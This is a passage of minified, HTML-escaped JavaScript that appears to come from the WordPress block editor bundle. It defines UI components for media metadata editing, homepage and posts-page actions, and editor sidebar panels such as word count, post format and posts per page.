i=(0,YN.useMemo)(()=&gt;W2(t),[t]),a=(0,YN.useMemo)(()=&gt;X0(r),[r]);return t.fields?(0,qN.jsx)(doe,{fields:a,children:(0,qN.jsx)(yi,{data:e,form:i,onChange:o,validity:n})}):null}var tE=s(A(),1);var Dm=s(C(),1);function KN({form:e,header:t}){let{media:r,fields:o,onChange:n}=i2();if(!r||!n)return(0,Dm.jsx)(&quot;div&quot;,{className:&quot;media-editor-form media-editor-form--loading&quot;,children:(0,Dm.jsx)(tE.Spinner,{})});let i={layout:{type:&quot;panel&quot;},fields:o.map(l=&gt;[&quot;title&quot;,&quot;alt_text&quot;,&quot;caption&quot;,&quot;description&quot;].includes(l.id)?{id:l.id,layout:{type:&quot;regular&quot;,labelPosition:&quot;top&quot;}}:l.id)};return(0,Dm.jsx)(&quot;div&quot;,{className:&quot;media-editor-form&quot;,children:(0,Dm.jsxs)(tE.__experimentalVStack,{spacing:4,children:[t,(0,Dm.jsx)(ZN,{data:r,fields:o,form:e||i,onChange:n})]})})}var zoe=s(O(),1);var XN=s(C(),1);function QN(e){let{media:t}=(0,zoe.useSelect)(r=&gt;({media:r(w).getCurrentPost()}),[]);return(0,XN.jsx)(Y0,{value:t,children:(0,XN.jsx)(SN,{...e})})}var dE=s(O(),1),sne=s(D(),1),ane=s(W(),1);var Uoe=s(D(),1),rE=s(O(),1);function yRe({postType:e}){let{registerPostTypeSchema:t}=N((0,rE.useDispatch)(w));(0,Uoe.useEffect)(()=&gt;{t(e)},[t,e]);let{fields:r}=(0,rE.useSelect)(o=&gt;{let{getEntityFields:n}=N(o(w));return{fields:n(&quot;postType&quot;,e)}},[e]);return r}var oE=yRe;var _i=s(A(),1);var ene=s(W(),1),tne=s(O(),1),rne=s(D(),1),Gc=s(E(),1),one=s(xh(),1);var cE=s(O(),1),t1=s(D(),1),Qoe=s(E(),1),tv=s(A(),1);var Joe=s(W(),1);var e1=s(O(),1),aE=s(D(),1),Koe=s(W(),1);var Rs=s(E(),1),Hoe=s(D(),1),Uc=s(A(),1),Jg=s(O(),1),iE=s(W(),1),Goe=s(ct(),1);var nE=s(ft(),1);function Qg(e){return typeof e.title==&quot;string&quot;?(0,nE.decodeEntities)(e.title):e.title&amp;&amp;&quot;rendered&quot;in e.title?(0,nE.decodeEntities)(e.title.rendered):e.title&amp;&amp;&quot;raw&quot;in e.title?(0,nE.decodeEntities)(e.title.raw):&quot;&quot;}var Od=s(C(),1),bRe=({items:e,closeModal:t})=&gt;{let[r]=e,o=Qg(r),{showOnFront:n,currentHomePage:i,isSaving:a}=(0,Jg.useSelect)(g=&gt;{let{getEntityRecord:v,isSavingEntityRecord:y}=g(iE.store),b=v(&quot;root&quot;,&quot;site&quot;),_=v(&quot;postType&quot;,&quot;page&quot;,b?.page_on_front);return{showOnFront:b?.show_on_front,currentHomePage:_,isSaving:y(&quot;root&quot;,&quot;site&quot;)}}),{saveEntityRecord:l}=(0,Jg.useDispatch)(iE.store),{createSuccessNotice:c,createErrorNotice:u}=(0,Jg.useDispatch)(Goe.store);async function d(g){g.preventDefault();try{await l(&quot;root&quot;,&quot;site&quot;,{page_on_front:r.id,show_on_front:&quot;page&quot;}),c((0,Rs.__)(&quot;Homepage updated.&quot;),{type:&quot;snackbar&quot;})}catch(v){let y=v.message&amp;&amp;v.code!==&quot;unknown_error&quot;?v.message:(0,Rs.__)(&quot;An error occurred while setting the homepage.&quot;);u(y,{type:&quot;snackbar&quot;})}finally{t?.()}}let f=&quot;&quot;;n===&quot;posts&quot;?f=(0,Rs.__)(&quot;This will replace the current homepage which is set to display latest posts.&quot;):i&amp;&amp;(f=(0,Rs.sprintf)((0,Rs.__)(&#039;This will replace the current homepage: &quot;%s&quot;&#039;),Qg(i)));let m=(0,Rs.sprintf)((0,Rs.__)(&#039;Set &quot;%1$s&quot; as the site homepage? %2$s&#039;),o,f).trim(),h=(0,Rs.__)(&quot;Set homepage&quot;);return(0,Od.jsx)(&quot;form&quot;,{onSubmit:d,children:(0,Od.jsxs)(Uc.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,Od.jsx)(Uc.__experimentalText,{children:m}),(0,Od.jsxs)(Uc.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,Od.jsx)(Uc.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},disabled:a,accessibleWhenDisabled:!0,children:(0,Rs.__)(&quot;Cancel&quot;)}),(0,Od.jsx)(Uc.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:a,accessibleWhenDisabled:!0,children:h})]})]})})},Woe=()=&gt;{let{pageOnFront:e,pageForPosts:t}=(0,Jg.useSelect)(r=&gt;{let{getEntityRecord:o,canUser:n}=r(iE.store),i=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;):void 0;return{pageOnFront:i?.page_on_front,pageForPosts:i?.page_for_posts}});return(0,Hoe.useMemo)(()=&gt;({id:&quot;set-as-homepage&quot;,label:(0,Rs.__)(&quot;Set as homepage&quot;),isEligible(r){return!(r.status!==&quot;publish&quot;||r.type!==&quot;page&quot;||e===r.id||t===r.id)},modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:bRe}),[t,e])};var As=s(E(),1),Yoe=s(D(),1),Hc=s(A(),1),$g=s(O(),1),sE=s(W(),1),qoe=s(ct(),1);var Id=s(C(),1),SRe=({items:e,closeModal:t})=&gt;{let[r]=e,o=Qg(r),{currentPostsPage:n,isPageForPostsSet:i,isSaving:a}=(0,$g.useSelect)(g=&gt;{let{getEntityRecord:v,isSavingEntityRecord:y}=g(sE.store),b=v(&quot;root&quot;,&quot;site&quot;);return{currentPostsPage:v(&quot;postType&quot;,&quot;page&quot;,b?.page_for_posts),isPageForPostsSet:b?.page_for_posts!==0,isSaving:y(&quot;root&quot;,&quot;site&quot;)}}),{saveEntityRecord:l}=(0,$g.useDispatch)(sE.store),{createSuccessNotice:c,createErrorNotice:u}=(0,$g.useDispatch)(qoe.store);async function d(g){g.preventDefault();try{await l(&quot;root&quot;,&quot;site&quot;,{page_for_posts:r.id,show_on_front:&quot;page&quot;}),c((0,As.__)(&quot;Posts page updated.&quot;),{type:&quot;snackbar&quot;})}catch(v){let y=v.message&amp;&amp;v.code!==&quot;unknown_error&quot;?v.message:(0,As.__)(&quot;An error occurred while setting the posts page.&quot;);u(y,{type:&quot;snackbar&quot;})}finally{t?.()}}let f=i&amp;&amp;n?(0,As.sprintf)((0,As.__)(&#039;This will replace the current posts page: &quot;%s&quot;&#039;),Qg(n)):(0,As.__)(&quot;This page will show the latest posts.&quot;),m=(0,As.sprintf)((0,As.__)(&#039;Set &quot;%1$s&quot; as the posts page? %2$s&#039;),o,f),h=(0,As.__)(&quot;Set posts page&quot;);return(0,Id.jsx)(&quot;form&quot;,{onSubmit:d,children:(0,Id.jsxs)(Hc.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,Id.jsx)(Hc.__experimentalText,{children:m}),(0,Id.jsxs)(Hc.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,Id.jsx)(Hc.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},disabled:a,accessibleWhenDisabled:!0,children:(0,As.__)(&quot;Cancel&quot;)}),(0,Id.jsx)(Hc.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:a,accessibleWhenDisabled:!0,children:h})]})]})})},Zoe=()=&gt;{let{pageOnFront:e,pageForPosts:t}=(0,$g.useSelect)(r=&gt;{let{getEntityRecord:o,canUser:n}=r(sE.store),i=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;):void 0;return{pageOnFront:i?.page_on_front,pageForPosts:i?.page_for_posts}});return(0,Yoe.useMemo)(()=&gt;({id:&quot;set-as-posts-page&quot;,label:(0,As.__)(&quot;Set as posts page&quot;),isEligible(r){return!(r.status!==&quot;publish&quot;||r.type!==&quot;page&quot;||e===r.id||t===r.id)},modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:SRe}),[t,e])};var Xoe=s(C(),1);function lE({postType:e,onActionPerformed:t,context:r}){let{defaultActions:o}=(0,e1.useSelect)(c=&gt;{let{getEntityActions:u}=N(c(w));return{defaultActions:u(&quot;postType&quot;,e)}},[e]),n=(0,e1.useSelect)(c=&gt;{if(e!==&quot;page&quot;)return!1;let{getDefaultTemplateId:u,getEntityRecord:d,canUser:f}=c(Koe.store);if(!f(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;}))return!1;let h=u({slug:&quot;front-page&quot;});if(!h)return!0;let g=d(&quot;postType&quot;,&quot;wp_template&quot;,h);return g?g.slug!==&quot;front-page&quot;:!0},[e]),i=Woe(),a=Zoe(),{registerPostTypeSchema:l}=N((0,e1.useDispatch)(w));return(0,aE.useEffect)(()=&gt;{l(e)},[l,e]),(0,aE.useMemo)(()=&gt;{let c=[...o];if(n&amp;&amp;c.push(i,a),c=c.sort((u,d)=&gt;d.id===&quot;move-to-trash&quot;?-1:0),c=c.filter(u=&gt;u.context?u.context===r:!0),t)for(let u=0;u&lt;c.length;++u){if(c[u].callback){let d=c[u].callback;c[u]={...c[u],callback:(f,m)=&gt;{d(f,{...m,onActionPerformed:h=&gt;{m?.onActionPerformed&amp;&amp;m.onActionPerformed(h),t(c[u].id,h)}})}}}if(c[u].RenderModal){let d=c[u].RenderModal;c[u]={...c[u],RenderModal:f=&gt;(0,Xoe.jsx)(d,{...f,onActionPerformed:m=&gt;{f.onActionPerformed&amp;&amp;f.onActionPerformed(m),t(c[u].id,m)}})}}}return c},[r,o,t,i,a,n])}var Wo=s(C(),1),{Menu:ev,kebabCase:_Re}=N(tv.privateApis);function $oe({postType:e,postId:t,onActionPerformed:r}){let[o,n]=(0,t1.useState)(null),{item:i,permissions:a}=(0,cE.useSelect)(d=&gt;{let{getEditedEntityRecord:f,getEntityRecordPermissions:m}=N(d(Joe.store));return{item:f(&quot;postType&quot;,e,t),permissions:m(&quot;postType&quot;,e,t)}},[t,e]),l=(0,t1.useMemo)(()=&gt;({...i,permissions:a}),[i,a]),c=lE({postType:e,onActionPerformed:r}),u=(0,t1.useMemo)(()=&gt;c.filter(d=&gt;!d.isEligible||d.isEligible(l)),[c,l]);return(0,Wo.jsxs)(Wo.Fragment,{children:[(0,Wo.jsxs)(ev,{placement:&quot;bottom-end&quot;,children:[(0,Wo.jsx)(ev.TriggerButton,{render:(0,Wo.jsx)(tv.Button,{size:&quot;small&quot;,icon:Nr,label:(0,Qoe.__)(&quot;Actions&quot;),disabled:!u.length,accessibleWhenDisabled:!0,className:&quot;editor-all-actions-button&quot;})}),(0,Wo.jsx)(ev.Popover,{children:(0,Wo.jsx)(CRe,{actions:u,items:[l],setActiveModalAction:n})})]}),!!o&amp;&amp;(0,Wo.jsx)(xRe,{action:o,items:[l],closeModal:()=&gt;n(null)})]})}function wRe({action:e,onClick:t,items:r}){let o=typeof e.label==&quot;string&quot;?e.label:e.label(r);return(0,Wo.jsx)(ev.Item,{onClick:t,children:(0,Wo.jsx)(ev.ItemLabel,{children:o})})}function xRe({action:e,items:t,closeModal:r}){let o=typeof e.label==&quot;string&quot;?e.label:e.label(t);return(0,Wo.jsx)(tv.Modal,{title:e.modalHeader||o,__experimentalHideHeader:!!e.hideModalHeader,onRequestClose:r??(()=&gt;{}),focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,overlayClassName:`editor-action-modal editor-action-modal__${_Re(e.id)}`,children:(0,Wo.jsx)(e.RenderModal,{items:t,closeModal:r})})}function CRe({actions:e,items:t,setActiveModalAction:r}){let o=(0,cE.useRegistry)();return(0,Wo.jsx)(ev.Group,{children:e.map(n=&gt;(0,Wo.jsx)(wRe,{action:n,onClick:()=&gt;{if(&quot;RenderModal&quot;in n){r(n);return}n.callback(t,{registry:o})},items:t},n.id))})}var Wn=s(C(),1),{Badge:TRe}=N(_i.privateApis);function rv({postType:e,postId:t,hideActions:r=!1,onActionPerformed:o,onClose:n}){let i=(0,rne.useMemo)(()=&gt;Array.isArray(t)?t:[t],[t]),{postTitle:a,icon:l,labels:c,isRevision:u}=(0,tne.useSelect)(m=&gt;{let{getEditedEntityRecord:h,getCurrentTheme:g,getPostType:v}=m(ene.store),{getPostIcon:y,getCurrentPostType:b,isRevisionsMode:_,getCurrentRevision:S}=N(m(w)),x=&quot;&quot;;if(_()){let R=b(),F=S();return x=F?.title?.rendered||F?.title?.raw||&quot;&quot;,{postTitle:x,icon:y(R,{area:F?.area}),labels:v(R)?.labels,isRevision:!0}}let T=h(&quot;postType&quot;,e,i[0]);if(i.length===1){let{default_template_types:R=[]}=g()??{};x=([xt,Ur].includes(e)?Zi({template:T,templateTypes:R}):{})?.title||T?.title}return{postTitle:x,icon:y(e,{area:T?.area}),labels:v(e)?.labels}},[i,e]),d=Qx(t),f=(0,Gc.__)(&quot;No title&quot;);return c?.name&amp;&amp;i.length&gt;1?f=(0,Gc.sprintf)((0,Gc.__)(&quot;%1$d %2$s&quot;),i.length,c?.name):a&amp;&amp;(f=(0,one.__unstableStripHTML)(a)),(0,Wn.jsxs)(_i.__experimentalVStack,{spacing:1,className:&quot;editor-post-card-panel&quot;,children:[(0,Wn.jsxs)(_i.__experimentalHStack,{spacing:2,className:&quot;editor-post-card-panel__header&quot;,alignment:&quot;flex-start&quot;,children:[(0,Wn.jsx)(_i.Icon,{className:&quot;editor-post-card-panel__icon&quot;,icon:l}),(0,Wn.jsxs)(_i.__experimentalText,{numberOfLines:2,truncate:!0,className:&quot;editor-post-card-panel__title&quot;,as:&quot;h2&quot;,children:[(0,Wn.jsx)(&quot;span&quot;,{className:&quot;editor-post-card-panel__title-name&quot;,children:f}),d&amp;&amp;i.length===1&amp;&amp;(0,Wn.jsx)(TRe,{children:d})]}),!r&amp;&amp;i.length===1&amp;&amp;(0,Wn.jsx)(Wn.Fragment,{children:u?(0,Wn.jsx)(_i.Button,{size:&quot;small&quot;,icon:Nr,label:(0,Gc.__)(&quot;Actions&quot;),disabled:!0,accessibleWhenDisabled:!0,className:&quot;editor-all-actions-button&quot;}):(0,Wn.jsx)($oe,{postType:e,postId:i[0],onActionPerformed:o})}),n&amp;&amp;(0,Wn.jsx)(_i.Button,{size:&quot;small&quot;,icon:RR,label:(0,Gc.__)(&quot;Close&quot;),onClick:n})]}),i.length&gt;1&amp;&amp;(0,Wn.jsx)(_i.__experimentalText,{className:&quot;editor-post-card-panel__description&quot;,children:(0,Gc.sprintf)((0,Gc.__)(&quot;Changes will be applied to all selected %s.&quot;),c?.name.toLowerCase())})]})}var nne=s(A(),1),ine=s(C(),1);function PRe({className:e,children:t}){return(0,ine.jsx)(nne.__experimentalVStack,{className:re(&quot;editor-post-panel__section&quot;,e),children:t})}var uE=PRe;var r1=s(C(),1);function JN({onActionPerformed:e}){let{media:t,postType:r,postId:o}=(0,dE.useSelect)(c=&gt;{let u=c(w).getCurrentPostType(),d=c(w).getCurrentPostId();return{media:c(ane.store).getEditedEntityRecord(&quot;postType&quot;,u,d,{_embed:&quot;author,wp:attached-to&quot;}),postType:u,postId:d}},[]),{editPost:n}=(0,dE.useDispatch)(w),i=oE({postType:&quot;attachment&quot;}),a=(0,sne.useMemo)(()=&gt;({fields:i}),[i]);return(0,r1.jsx)(uE,{className:&quot;editor-media-metadata-panel&quot;,children:(0,r1.jsx)(Y0,{value:t,settings:a,onChange:c=&gt;{n(c)},children:(0,r1.jsx)(KN,{header:(0,r1.jsx)(rv,{postType:r,postId:o,onActionPerformed:e})})})})}var Ot=s(C(),1),lne={header:(0,Nd.__)(&quot;Editor top bar&quot;),body:(0,Nd.__)(&quot;Editor content&quot;),sidebar:(0,Nd.__)(&quot;Editor settings&quot;),actions:(0,Nd.__)(&quot;Editor publish&quot;),footer:(0,Nd.__)(&quot;Editor footer&quot;)},cne=()=&gt;(0,Ot.jsx)(mne.InlineNotices,{pinnedNoticesClassName:&quot;editor-notices__pinned&quot;,dismissibleNoticesClassName:&quot;editor-notices__dismissible&quot;,children:(0,Ot.jsx)(CC,{})});function pne({className:e,children:t,forceIsDirty:r,contentRef:o,disableIframe:n,autoFocus:i,customSaveButton:a,customSavePanel:l,forceDisableBlockTools:c,iframeProps:u}){let{mode:d,postId:f,postType:m,isAttachment:h,isInserterOpened:g,isListViewOpened:v,isDistractionFree:y,isPreviewMode:b,showBlockBreadcrumbs:_,postTypeLabel:S,stylesPath:x,showStylebook:T,isRevisionsMode:R,showDiff:F}=(0,fE.useSelect)(Z=&gt;{let{get:V}=Z(une.store),{getEditorSettings:j,getPostTypeLabel:H,getCurrentPostType:X,getCurrentPostId:ae}=Z(w),{getStylesPath:ne,getShowStylebook:ue,isRevisionsMode:Ye,isShowingRevisionDiff:ye}=N(Z(w)),oe=j(),ge=Z(w).getEditorMode();return!oe.richEditingEnabled&amp;&amp;ge===&quot;visual&quot;&amp;&amp;(ge=&quot;text&quot;),!oe.codeEditingEnabled&amp;&amp;ge===&quot;text&quot;&amp;&amp;(ge=&quot;visual&quot;),{mode:ge,postId:ae(),postType:X(),isInserterOpened:Z(w).isInserterOpened(),isListViewOpened:Z(w).isListViewOpened(),isDistractionFree:V(&quot;core&quot;,&quot;distractionFree&quot;),isPreviewMode:oe.isPreviewMode,showBlockBreadcrumbs:V(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),postTypeLabel:H(),stylesPath:ne(),showStylebook:ue(),isAttachment:X()===&quot;attachment&quot;&amp;&amp;window?.__experimentalMediaEditor,isRevisionsMode:Ye(),showDiff:ye()}},[]),{setShowRevisionDiff:B}=N((0,fE.useDispatch)(w));Jee(f,m);let z=(0,dne.useViewportMatch)(&quot;medium&quot;),L=v?(0,Nd.__)(&quot;Document Overview&quot;):(0,Nd.__)(&quot;Block Library&quot;),M=!!h,k=!h&amp;&amp;(T||x?.startsWith(&quot;/revisions&quot;)),I=!M&amp;&amp;!k,[U,G]=(0,pE.useState)(!1),Y=(0,pE.useCallback)(Z=&gt;{typeof U==&quot;function&quot;&amp;&amp;U(Z),G(!1)},[U]);return R?(0,Ot.jsx)(ib,{className:re(&quot;editor-editor-interface&quot;,e),labels:lne,header:(0,Ot.jsx)(iN,{showDiff:F,onToggleDiff:()=&gt;B(!F)}),content:(0,Ot.jsx)(pN,{}),sidebar:(0,Ot.jsx)(ql.Slot,{scope:&quot;core&quot;})}):(0,Ot.jsx)(ib,{isDistractionFree:y,className:re(&quot;editor-editor-interface&quot;,e,{&quot;is-entity-save-view-open&quot;:!!U,&quot;is-distraction-free&quot;:y&amp;&amp;!b}),labels:{...lne,secondarySidebar:L},header:!b&amp;&amp;(0,Ot.jsx)(tee,{forceIsDirty:r,setEntitiesSavedStatesCallback:G,customSaveButton:a,forceDisableBlockTools:c}),editorNotices:(0,Ot.jsx)(cne,{}),secondarySidebar:!h&amp;&amp;!b&amp;&amp;d===&quot;visual&quot;&amp;&amp;(g&amp;&amp;(0,Ot.jsx)(iee,{})||v&amp;&amp;(0,Ot.jsx)(cee,{})),sidebar:!b&amp;&amp;!y&amp;&amp;(0,Ot.jsx)(ql.Slot,{scope:&quot;core&quot;}),content:(0,Ot.jsxs)(Ot.Fragment,{children:[!y&amp;&amp;!b&amp;&amp;(0,Ot.jsx)(cne,{}),M&amp;&amp;(0,Ot.jsx)(QN,{...u}),k&amp;&amp;(0,Ot.jsx)(CW,{}),I&amp;&amp;(0,Ot.jsxs)(Ot.Fragment,{children:[!b&amp;&amp;d===&quot;text&quot;&amp;&amp;(0,Ot.jsx)(ote,{autoFocus:i}),!b&amp;&amp;!z&amp;&amp;d===&quot;visual&quot;&amp;&amp;(0,Ot.jsx)(mE.BlockToolbar,{hideDragHandle:!0}),(b||d===&quot;visual&quot;)&amp;&amp;(0,Ot.jsx)(Kk,{contentRef:o,disableIframe:n,autoFocus:i,iframeProps:u}),t,(0,Ot.jsx)(Ek,{postId:f,postType:m})]})]}),footer:!b&amp;&amp;!y&amp;&amp;z&amp;&amp;_&amp;&amp;d===&quot;visual&quot;&amp;&amp;(0,Ot.jsx)(mE.BlockBreadcrumb,{rootLabelText:S?(0,fne.decodeEntities)(S):void 0}),actions:b?void 0:l||(0,Ot.jsx)(ete,{closeEntitiesSavedStates:Y,isEntitiesSavedStatesOpen:U,setEntitiesSavedStatesCallback:G,forceIsDirtyPublishPanel:r})})}var AE=s($(),1),l1=s(O(),1),hl=s(D(),1),cv=s(E(),1);var jie=s(Oi(),1),zie=s(A(),1);var hne=s(O(),1),gne=s(Ls(),1);var vne=s(C(),1),{OverridesPanel:kRe}=N(gne.privateApis);function yne(){return(0,hne.useSelect)(t=&gt;t(w).getCurrentPostType()===&quot;wp_block&quot;,[])?(0,vne.jsx)(kRe,{}):null}var Bm=s(A(),1),Kne=s(O(),1),Xne=s(E(),1),Qne=s(Ir(),1);var bne=s(A(),1),Sne=s(O(),1),Os=s(E(),1),_ne=s(k0(),1),wne=s(D(),1),$N=s(W(),1);var eF=s(C(),1),ERe=189;function xne(){let{postContent:e}=(0,Sne.useSelect)(a=&gt;{let{getEditedPostAttribute:l,getCurrentPostType:c,getCurrentPostId:u}=a(w),{getCurrentRevision:d,isRevisionsMode:f}=N(a(w));if(f())return{postContent:d()?.content?.raw};let{canUser:m}=a($N.store),{getEntityRecord:h}=a($N.store),g=m(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?h(&quot;root&quot;,&quot;site&quot;):void 0,v=c();return{postContent:!(+u()===g?.page_for_posts)&amp;&amp;![xt,Ur].includes(v)&amp;&amp;l(&quot;content&quot;)}},[]),t=(0,Os._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),r=(0,wne.useMemo)(()=&gt;e?(0,_ne.count)(e,t):0,[e,t]);if(!r)return null;let o=Math.round(r/ERe),n=(0,Os.sprintf)((0,Os._n)(&quot;%s word&quot;,&quot;%s words&quot;,r),r.toLocaleString()),i=o&lt;=1?(0,Os.__)(&quot;1 minute&quot;):(0,Os.sprintf)((0,Os._n)(&quot;%s minute&quot;,&quot;%s minutes&quot;,o),o.toLocaleString());return(0,eF.jsx)(&quot;div&quot;,{className:&quot;editor-post-content-information&quot;,children:(0,eF.jsx)(bne.__experimentalText,{children:(0,Os.sprintf)((0,Os.__)(&quot;%1$s, %2$s read time.&quot;),n,i)})})}var hE=s(A(),1),ov=s(E(),1),Cne=s(O(),1),gE=s(D(),1),Tne=s($(),1);var Wc=s(C(),1);function RRe(){let{postFormat:e}=(0,Cne.useSelect)(i=&gt;{let{getEditedPostAttribute:a}=i(w);return{postFormat:a(&quot;format&quot;)??&quot;standard&quot;}},[]),t=i0.find(i=&gt;i.id===e),[r,o]=(0,gE.useState)(null),n=(0,gE.useMemo)(()=&gt;({anchor:r,placement:&quot;left-start&quot;,offset:36,shift:!0}),[r]);return(0,Wc.jsx)(Kh,{children:(0,Wc.jsx)(ht,{label:(0,ov.__)(&quot;Format&quot;),ref:o,children:(0,Wc.jsx)(hE.Dropdown,{popoverProps:n,contentClassName:&quot;editor-post-format__dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:i,onToggle:a})=&gt;(0,Wc.jsx)(hE.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:i,&quot;aria-label&quot;:(0,ov.sprintf)((0,ov.__)(&quot;Change format: %s&quot;),t?.caption),onClick:a,children:t?.caption}),renderContent:({onClose:i})=&gt;(0,Wc.jsxs)(&quot;div&quot;,{className:&quot;editor-post-format__dialog-content&quot;,children:[(0,Wc.jsx)(Tne.__experimentalInspectorPopoverHeader,{title:(0,ov.__)(&quot;Format&quot;),onClose:i}),(0,Wc.jsx)(s0,{})]})})})})}var Pne=RRe;var kne=s(A(),1),Ene=s(O(),1),vE=s(E(),1),Rne=s(po(),1);var tF=s(C(),1);function Ane(){let e=(0,Ene.useSelect)(t=&gt;t(w).getEditedPostAttribute(&quot;modified&quot;),[]);return e?(0,tF.jsx)(&quot;div&quot;,{className:&quot;editor-post-last-edited-panel&quot;,children:(0,tF.jsx)(kne.__experimentalText,{children:(0,vE.sprintf)((0,vE.__)(&quot;Last edited %s.&quot;),(0,Rne.humanTimeDiff)(e))})}):null}var One=s(A(),1),Ine=s(O(),1),yE=s(E(),1),Nne=s(po(),1);var rF=s(C(),1);function Fne(){let e=(0,Ine.useSelect)(t=&gt;{let{getCurrentRevision:r}=N(t(w));return r()?.date},[]);return e?(0,rF.jsx)(&quot;div&quot;,{className:&quot;editor-post-last-edited-panel&quot;,children:(0,rF.jsx)(One.__experimentalText,{children:(0,yE.sprintf)((0,yE.__)(&quot;Created %s.&quot;),(0,Nne.humanTimeDiff)(e))})}):null}var Yc=s(E(),1),Dne=s(he(),1),bE=s(O(),1),oF=s(W(),1),Bne=s(ft(),1),nv=s(A(),1),SE=s(D(),1),Mne=s($(),1);var fl=s(C(),1),ARe={};function Lne(){let{editEntityRecord:e}=(0,bE.useDispatch)(oF.store),{postsPageTitle:t,postsPageId:r,isTemplate:o,postSlug:n}=(0,bE.useSelect)(d=&gt;{let{getEntityRecord:f,getEditedEntityRecord:m,canUser:h}=d(oF.store),g=h(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?f(&quot;root&quot;,&quot;site&quot;):void 0,v=g?.page_for_posts?m(&quot;postType&quot;,&quot;page&quot;,g?.page_for_posts):ARe,{getEditedPostAttribute:y,getCurrentPostType:b}=d(w);return{postsPageId:v?.id,postsPageTitle:v?.title,isTemplate:b()===xt,postSlug:y(&quot;slug&quot;)}},[]),[i,a]=(0,SE.useState)(null),l=(0,SE.useMemo)(()=&gt;({anchor:i,placement:&quot;left-start&quot;,offset:36,shift:!0}),[i]);if(!o||![&quot;home&quot;,&quot;index&quot;].includes(n)||!r)return null;let c=d=&gt;{e(&quot;postType&quot;,&quot;page&quot;,r,{title:d})},u=(0,Bne.decodeEntities)(t);return(0,fl.jsx)(ht,{label:(0,Yc.__)(&quot;Blog title&quot;),ref:a,children:(0,fl.jsx)(nv.Dropdown,{popoverProps:l,contentClassName:&quot;editor-blog-title-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:d,onToggle:f})=&gt;(0,fl.jsx)(nv.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:d,&quot;aria-label&quot;:(0,Yc.sprintf)((0,Yc.__)(&quot;Change blog title: %s&quot;),u),onClick:f,children:u}),renderContent:({onClose:d})=&gt;(0,fl.jsxs)(fl.Fragment,{children:[(0,fl.jsx)(Mne.__experimentalInspectorPopoverHeader,{title:(0,Yc.__)(&quot;Blog title&quot;),onClose:d}),(0,fl.jsx)(nv.__experimentalInputControl,{placeholder:(0,Yc.__)(&quot;No title&quot;),size:&quot;__unstable-large&quot;,value:t,onChange:(0,Dne.debounce)(c,300),label:(0,Yc.__)(&quot;Blog title&quot;),help:(0,Yc.__)(&quot;Set the Posts Page title. Appears in search results, and when the page is shared on social media.&quot;),hideLabelFromVision:!0})]})})})}var iv=s(E(),1),_E=s(O(),1),nF=s(W(),1),sv=s(A(),1),wE=s(D(),1),Vne=s($(),1);var ml=s(C(),1);function jne(){let{editEntityRecord:e}=(0,_E.useDispatch)(nF.store),{postsPerPage:t,isTemplate:r,postSlug:o}=(0,_E.useSelect)(c=&gt;{let{getEditedPostAttribute:u,getCurrentPostType:d}=c(w),{getEditedEntityRecord:f,canUser:m}=c(nF.store),h=m(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?f(&quot;root&quot;,&quot;site&quot;):void 0;return{isTemplate:d()===xt,postSlug:u(&quot;slug&quot;),postsPerPage:h?.posts_per_page||1}},[]),[n,i]=(0,wE.useState)(null),a=(0,wE.useMemo)(()=&gt;({anchor:n,placement:&quot;left-start&quot;,offset:36,shift:!0}),[n]);if(!r||![&quot;home&quot;,&quot;index&quot;].includes(o))return null;let l=c=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{posts_per_page:c})};return(0,ml.jsx)(ht,{label:(0,iv.__)(&quot;Posts per page&quot;),ref:i,children:(0,ml.jsx)(sv.Dropdown,{popoverProps:a,contentClassName:&quot;editor-posts-per-page-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:c,onToggle:u})=&gt;(0,ml.jsx)(sv.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:c,&quot;aria-label&quot;:(0,iv.__)(&quot;Change posts per page&quot;),onClick:u,children:t}),renderContent:({onClose:c})=&gt;(0,ml.jsxs)(ml.Fragment,{children:[(0,ml.jsx)(Vne.__experimentalInspectorPopoverHeader,{title:(0,iv.__)(&quot;Posts per page&quot;),onClose:c}),(0,ml.jsx)(sv.__experimentalNumberControl,{placeholder:0,value:t,size:&quot;__unstable-large&quot;,spinControls:&quot;custom&quot;,step:&quot;1&quot;,min:&quot;1&quot;,onChange:l,label:(0,iv.__)(&quot;Posts per page&quot;),help:(0,iv.__)(&quot;Set the default number of posts to display on blog pages, including categories and tags. Some templates may override this setting.&quot;),hideLabelFromVision:!0})]})})})}var wi=s(E(),1),xE=s(O(),1),iF=s(W(),1),pl=s(A(),1),CE=s(D(),1),zne=s($(),1);var Is=s(C(),1),ORe=[{label:(0,wi._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;),value:&quot;open&quot;,description:(0,wi.__)(&quot;Visitors can add new comments and replies.&quot;)},{label:(0,wi.__)(&quot;Closed&quot;),value:&quot;&quot;,description:[(0,wi.__)(&quot;Visitors cannot add new comments or 